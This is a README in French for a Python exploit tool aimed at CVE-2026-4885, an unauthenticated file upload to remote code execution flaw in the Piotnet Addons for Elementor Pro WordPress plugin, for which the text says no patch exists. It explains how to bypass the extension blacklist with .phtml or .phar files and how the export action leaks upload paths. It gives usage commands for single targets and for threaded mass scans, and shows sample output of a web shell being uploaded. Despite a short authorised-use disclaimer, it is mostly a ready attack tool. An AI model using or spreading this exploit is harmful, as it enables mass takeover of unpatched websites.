
Piotnet Addons for Elementor Pro <= 7.1.70 - Téléversement de fichier arbitraire non authentifié → RCE
Piotnet Addons for Elementor Pro <= 7.1.70 - Téléversement de fichier arbitraire non authentifié → RCE
Le plugin Piotnet Addons for Elementor Pro pour WordPress est vulnérable au téléversement arbitraire de fichiers en raison d'une validation manquante du type de fichier dans la fonction pafe_ajax_form_builder dans toutes les versions jusqu'à la 7.1.70 incluse. Le plugin utilise une liste noire d'extensions incomplète qui ne bloque que les extensions php, phpt, php5, php7 et exe, tout en permettant le téléversement libre d'extensions dangereuses telles que .phar ou .phtml.
Cela permet à des attaquants non authentifiés de téléverser des fichiers PHP arbitraires sur le serveur du site concerné, conduisant à une exécution de code à distance (RCE).
Remarque : L'exploit ne peut être déclenché que si un champ fichier est ajouté au formulaire Piotnet.
~ Score CVSS : 9.8 (Critique)
~ Vecteur CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
~ Versions affectées : <= 7.1.70
~ Corrigé : Aucun correctif disponible
~ Publié publiquement : 18 mai 2026
Le gestionnaire AJAX pafe_ajax_form_builder accepte les téléversements de fichiers sans validation appropriée :
// Incomplete blacklist — only blocks:
$blocked = ['php', 'phpt', 'php5', 'php7', 'exe'];
// .phtml, .phar, .shtml etc. pass through freely ✓
Chemin de téléversement divulgable via l'action AJAX non authentifiée pafe_export_database → l'export CSV contient les URLs complètes des fichiers.
Menu interactif (par défaut) :
python3 shadow.py
╾──── MENU ────╼
1 ▶ one target
2 ▶ mass scan
3 ▶ exit
[1/2/3] :
Cible unique (CLI) :
python3 shadow.py -u https://target.com
python3 shadow.py -u https://target.com -s shell.phtml
Cibles multiples (CLI) :
python3 shadow.py -f targets.txt -t 20
python3 shadow.py -f targets.txt -t 20 -s shell.phtml
Options :
-u, --url Target URL
-f, --file File with target URLs (one per line)
-s, --shell Custom PHP shell file (GIF89a auto-prepended)
-t, --threads Concurrent threads for mass mode (default: 5)
-h, --help Show help
form_id, post_id, field_name depuis le HTML de la pagepafe_export_database (sans authentification, sans nonce)shell.txtPréparez votre fichier shell localement (par ex. shadow.phtml) — les octets magiques GIF89a sont automatiquement préfixés s'ils sont absents.
Extensions bloquées :
.php.phpt.php5.php7.exeUtilisez plutôt :
.phtml.phar.shtml.php8etc.
╔══════════════════════════════════════════════════════════╗
║ ║
║ ♡ CVE-2026-4885 ║
║ Piotnet Addons for Elementor Pro <= 7.1.70 ║
║ Unauthenticated File Upload → RCE ║
║ ║
║ by Shadow & Friska ♡ ║
║ ║
╚══════════════════════════════════════════════════════════╝
╾──── VERSION ────╼
♡ v7.1.67 <= 7.1.70 — VULNERABLE
╾──── RECON ────╼
◆ scanning 46 pages (parallel)...
♡ [PIOTNET] https://target.com/contact
post_id=9 | form_id=72071c0
◆ using : https://target.com/contact
╾──── EXPLOIT ────╼
◆ post_id=9 | form_id=72071c0 | field=file
▶ trying .phtml ...
♡ uploaded (.phtml)
♡ URL leak : https://target.com/wp-content/uploads/piotnet-addons-for-elementor/shadow-xxx.phtml
╔══════════════════════════════════════════════════════════╗
║ ★ SHELL UPLOADED (.phtml) ║
║ ║
║ ◆ shell : https://target.com/wp-content/... ║
╚══════════════════════════════════════════════════════════╝
pip install httpx
Cet outil est destiné uniquement à des tests de sécurité pédagogiques et autorisés.
Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation explicite de tester est illégale. Les auteurs ne sont pas responsables de toute mauvaise utilisation ou de tout dommage causé par cet outil.